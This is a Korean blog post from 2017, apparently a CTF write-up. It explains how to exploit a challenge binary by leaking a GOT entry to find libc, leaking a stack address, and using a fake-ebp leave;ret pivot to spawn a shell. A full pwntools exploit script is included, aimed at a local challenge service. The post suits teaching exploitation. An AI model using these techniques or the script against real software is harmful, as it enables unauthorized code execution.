본문 바로가기
시스템 해킹/cykor

20121209-메모리 릭, fake ebp

by sonysame 2017. 12. 29.

20121209 (1)


이 문제의 구조


1) 주소를 입력받아서, 그 주소에 담긴 값을 출력

2) 0x48만큼 read함수로 입력을 받아서, strcpy진행 후 printf

3) 주의사항: 0x48입력받을때 0x38부터 pop ebp위치 0x3c는 return address


1->이미 실행된 함수의 got주소를 준다(실제 함수주소가 담겨있다) => libc주소를 알 수 있다.=>system주소, /bin/sh주소 구할 수 있다


2->0x3c뒤에 main함수의 주소를 줘서 다시 메인으로 돌리며 0x48을 꽉채워서 메모리 입력을 줌=>메인으로 돌아가면서, 메모리 릭 가능

여기서 릭 되는 메모리는 stack주소 물론! libc주소도 릭되지만, 1번에서 했으므로 스택주소만 이용!

*1번을 이용해서 스택주소를 알아내는 방법은 생각하지 못했다. libc주소야 got를 이용하면 되지만, 스택의 주소는 어디서 구할 수 있을지 잘 모르겠다. 그래서 메모리 릭을 이용했다.


3->입력줄때 system주소+0xdeadbeef+/bin/sh주소가 담겨있는 0x38만큼의 입력을 주고, pop ebp하는 곳에 system주소+0xdeadbeef+/bin/sh의 주소-4를 주고, return address로는 leave ret이 나오는 곳의 주소를 준다. 즉, fake ebp를 이용!

leave에서 mov esp, ebp하고 나서 pop한다. 그러고 나면 esp가 system주소+0xdeadbeef+/bin/sh위치로 오게 되며, 이때 ret을 하게 되어

system(/bin/sh)가 실행되어 쉘이 따진다!


from pwn import*

import time


s=remote('localhost', 7777)

print s.recv(1024)

s.send("134520860"+"\n")

a=s.recv(1024)

a=a[31:39]

libc=int(a,16)

system=libc-0x254d0

sh=libc+0xfd50c

print ("system : "+hex(system))

print ("/bin/sh : "+hex(sh))

s.send("a"*0x3c+"\x7d\x85\x04\x08"+"a"*8)

b=s.recv(1024)

b=b[89:93]

stack=int(u32(b))-0x290-4

print ("stack : "+hex(stack))

s.send("134520860")

s.send(p32(system)+"\xef\xbe\xad\xde"+p32(sh)+"a"*0x2c+p32(stack)+"\x5c\x86\x04\x08")

s.interactive()

s.close()


 




cf) plt와 got


함수실행시 plt진행->jmp got에 적힌 값

그 함수가 처음 실행될 때는! got에 plt+6의 주소가 담겨져 있다.

하지만, 함수가 한번 실행된 이후에는 got에 실함수주소가 담겨져 있으므로, jmp 실함수가 진행된다.




'시스템 해킹 > cykor' 카테고리의 다른 글

daRk_TempLer-read함수의 null  (0) 2017.12.29
catchme-노가다, 스택버퍼오버플로우  (0) 2017.12.29
dethstarr  (0) 2017.03.11
how2heap/poison_null_byte.c  (0) 2017.01.01
chal2  (0) 2016.12.31